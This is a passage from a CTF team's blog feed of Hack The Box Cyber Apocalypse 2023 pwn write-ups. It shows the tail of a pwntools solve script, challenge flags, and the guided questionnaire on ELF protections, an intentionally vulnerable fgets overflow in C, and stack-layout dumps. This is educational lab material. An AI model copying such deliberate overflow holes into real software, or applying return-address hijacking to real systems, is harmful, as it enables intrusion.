&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;flashlight.&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">per&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">keepends&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;flashlight&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">per&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">per&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">per&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">person&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">per&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">per&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">])))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">person&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sort&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">takeSecond&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">person&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">man8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">person&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">elif&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">person&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">man7&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">person&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">man6&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">person&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ret&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ret&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">io&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">interactive&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="flag4.png" alt="Logic bug go brrr" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{4cro55_th3_br1dg3_4nd_th3_ch4sm_l13s_th3_tr34sur3}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Pwnable</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-pwn/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-pwn/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/pwn/">pwn&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#initialise-connection">Initialise Connection&lt;/a>&lt;/li>
&lt;li>&lt;a href="#questionnaire">Questionnaire&lt;/a>&lt;/li>
&lt;li>&lt;a href="#getting-started">Getting Started&lt;/a>&lt;/li>
&lt;li>&lt;a href="#labyrinth">Labyrinth&lt;/a>&lt;/li>
&lt;li>&lt;a href="#pandoras-box">Pandora&amp;rsquo;s Box&lt;/a>&lt;/li>
&lt;li>&lt;a href="#void">Void&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="initialise-connection">Initialise Connection&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> In order to proceed, we need to start with the basics. Start an instance, connect to it via $ nc e.g. nc 127.0.0.1 1337 and send &amp;ldquo;1&amp;rdquo; to get the flag.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Just a sanity check challenge, do the same thing that is being stated in the description will grant you the flag.&lt;/p>
&lt;img src="pwn1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{g3t_r34dy_f0r_s0m3_pwn}&lt;/strong>&lt;/p>
&lt;h2 id="questionnaire">Questionnaire&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1m_j9ApZJusGOgEvGl-32JRbFyk2fpPkH/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> It&amp;rsquo;s time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a binary, a C file and a netcat server to answer some questions.&lt;/p>
&lt;p>From the netcat, we are given some informations about the binary that we will going to work with.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">When compiling C/C++ source code in Linux, an ELF (Executable and Linkable Format) file is created.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The flags added when compiling can affect the binary in various ways, like the protections.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Another thing affected can be the architecture and the way it&amp;#39;s linked.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">If the system in which the challenge is compiled is x86_64 and no flag is specified,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">the ELF would be x86-64 / 64-bit. If it&amp;#39;s compiled with a flag to indicate the system,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">it can be x86 / 32-bit binary.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">To reduce its size and make debugging more difficult, the binary can be stripped or not stripped.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Dynamic linking:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">A pointer to the linked file is included in the executable, and the file contents are not included
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">at link time. These files are used when the program is run.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Static linking:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The code for all the routines called by your program becomes part of the executable file.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Stripped:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The binary does not contain debugging information.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Not Stripped:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The binary contains debugging information.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The most common protections in a binary are:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Canary: A random value that is generated, put on the stack, and checked before that function is
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">left again. If the canary value is not correct-has been changed or overwritten, the application will
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">immediately stop.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NX: Stands for non-executable segments, meaning we cannot write and execute code on the stack.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">PIE: Stands for Position Independent Executable, which randomizes the base address of the binary
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">as it tells the loader which virtual address it should use.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RelRO: Stands for Relocation Read-Only. The headers of the binary are marked as read-only.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Run the &amp;#39;file&amp;#39; command in the terminal and &amp;#39;checksec&amp;#39; inside the debugger.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The output of &amp;#39;file&amp;#39; command:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">✗ file test
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a83587fbda6ad7b1aeee2d59f027a882bf2a429,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">for GNU/Linux 3.2.0, not stripped.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The output of &amp;#39;checksec&amp;#39; command:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">gef➤ checksec
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Canary : ✘
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NX : ✓
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">PIE : ✘
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Fortify : ✘
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RelRO : Partial
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We are able to answer some first questions using these informations.&lt;/p>
&lt;img src="pwn2.png" alt="linux" width="1000"/>
&lt;img src="pwn3.png" alt="linux" width="1000"/>
&lt;img src="pwn4.png" alt="linux" width="1000"/>
&lt;img src="pwn5.png" alt="linux" width="1000"/>
&lt;p>After answering these questions correctly, we are provided with more informations about the binary.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Great job so far! Now it&amp;#39;s time to see some C code and a binary file.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">In the pwn_questionnaire.zip there are two files:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1. test.c
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2. test
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The &amp;#39;test.c&amp;#39; is the source code and &amp;#39;test&amp;#39; is the output binary.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Let&amp;#39;s start by analyzing the code.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">First of all, let&amp;#39;s focus on the &amp;#39;#include &amp;lt;stdio.h&amp;gt;&amp;#39; line.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">It includes the &amp;#39;stdio.h&amp;#39; header file to use some of the standard functions like &amp;#39;printf()&amp;#39;.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The same principle applies for the &amp;#39;#include &amp;lt;stdlib.h&amp;gt;&amp;#39; line, for other functions like &amp;#39;system()&amp;#39;.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Now, let&amp;#39;s take a closer look at:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">void main(){
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> vuln();
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">By default, a binary file starts executing from the &amp;#39;main()&amp;#39; function.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">In this case, &amp;#39;main()&amp;#39; only calls another function, &amp;#39;vuln()&amp;#39;.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The function &amp;#39;vuln()&amp;#39; has 3 lines.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">void vuln(){
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> char buffer[0x20] = {0};
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> fprintf(stdout, &amp;#34;\nEnter payload here: &amp;#34;);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> fgets(buffer, 0x100, stdin);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The first line declares a 0x20-byte buffer of characters and fills it with zeros.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">The second line calls &amp;#39;fprintf()&amp;#39; to print a message to stdout.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Finally, the third line calls &amp;#39;fgets()&amp;#39; to read 0x100 bytes from stdin and store them to the
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">aformentioned buffer.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Then, there is a custom &amp;#39;gg()&amp;#39; function which calls the standard &amp;#39;system()&amp;#39; function to print the
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">flag. This function is never called by default.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">void gg(){
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> system(&amp;#34;cat flag.txt&amp;#34;);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Run the &amp;#39;man &amp;lt;function_name&amp;gt;&amp;#39; command to see the manual page of a standard function (e.g. man fgets).
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We are also able to answer some next questions using these informations.&lt;/p>
&lt;img src="pwn6.png" alt="linux" width="1000"/>
&lt;img src="pwn7.png" alt="linux" width="1000"/>
&lt;img src="pwn8.png" alt="linux" width="1000"/>
&lt;p>After answering these questions correctly, we are provided with MORE and MORE informations about the binary.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Excellent! Now it&amp;#39;s time to talk about Buffer Overflows.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Buffer Overflow means there is a buffer of characters, integers or any other type of variables,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">and someone inserts into this buffer more bytes than it can store.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">If the user inserts more bytes than the buffer&amp;#39;s size, they will be stored somewhere in the memory
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">after the address of the buffer, overwriting important addresses for the flow of the program.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">This, in most cases, will make the program crash.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">When a function is called, the program knows where to return because of the &amp;#39;return address&amp;#39;. If the
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">player overwrites this address, they can redirect the flow of the program wherever they want.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">To print a function&amp;#39;s address, run &amp;#39;p &amp;lt;function_name&amp;gt;&amp;#39; inside &amp;#39;gdb&amp;#39;. (e.g. p main)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">gef➤ p gg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$1 = {&amp;lt;text variable, no debug info&amp;gt;} 0x401176 &amp;lt;gg&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">To perform a Buffer Overflow in the simplest way, we take these things into consideration.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1. Canary is disabled so it won&amp;#39;t quit after the canary address is overwritten.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2. PIE is disabled so the addresses of the binary functions are not randomized and the user knows
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> where to return after overwritting the return address.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">3. There is a buffer with N size.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">4. There is a function that reads to this buffer more than N bytes.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Run printf &amp;#39;A%.0s&amp;#39; {1..30} | ./test to enter 30*&amp;#34;A&amp;#34; into the program.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Run the program manually with &amp;#34;./test&amp;#34; and insert 30*A, then 39, then 40 and see what happens.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We are able to answer some next questions using these informations.&lt;/p>
&lt;img src="pwn9.png" alt="linux" width="1000"/>
&lt;img src="pwn10.png" alt="linux" width="1000"/>
&lt;p>For the above question, you can try out to see for yourself.&lt;/p>
&lt;img src="pwn11.png" alt="linux" width="1000"/>
&lt;p>And there is our flag!&lt;/p>
&lt;img src="pwn12.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{th30ry_bef0r3_4cti0n}&lt;/strong>&lt;/p>
&lt;h2 id="getting-started">Getting Started&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1WbbUvsAAZ--CfdrHmOggCGuLa8q_rzuV/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Get ready for the last guided challenge and your first real exploit. It&amp;rsquo;s time to show your hacking skills.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Binary Exploitation/Pwnable&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a binary, a C file and a netcat server to work with.&lt;/p>
&lt;p>Same with the above challenge, netcat tells us to fill in some questions.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Stack frame layout
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| . | &amp;lt;- Higher addresses
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| . |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | &amp;lt;- 64 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| Return addr |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | &amp;lt;- 56 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| RBP |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | &amp;lt;- 48 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| target |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | &amp;lt;- 40 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| alignment |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | &amp;lt;- 32 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| Buffer[31] |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| . |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| . |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| Buffer[0] |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|_____________| &amp;lt;- Lower addresses
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> [Addr] | [Value]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-------------------+-------------------
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33230 | 0x0000000000000000 &amp;lt;- Start of buffer
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33238 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33240 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33248 | 0x0000000000000000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33250 | 0x6969696969696969 &amp;lt;- Dummy value for alignment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33258 | 0x00000000deadbeef &amp;lt;- Target to change
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33260 | 0x000055cf39fcf800 &amp;lt;- Saved rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33268 | 0x00007f62c548ac87 &amp;lt;- Saved return address
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33270 | 0x0000000000000001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0x00007fff1ca33278 | 0x00007fff1ca33348
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
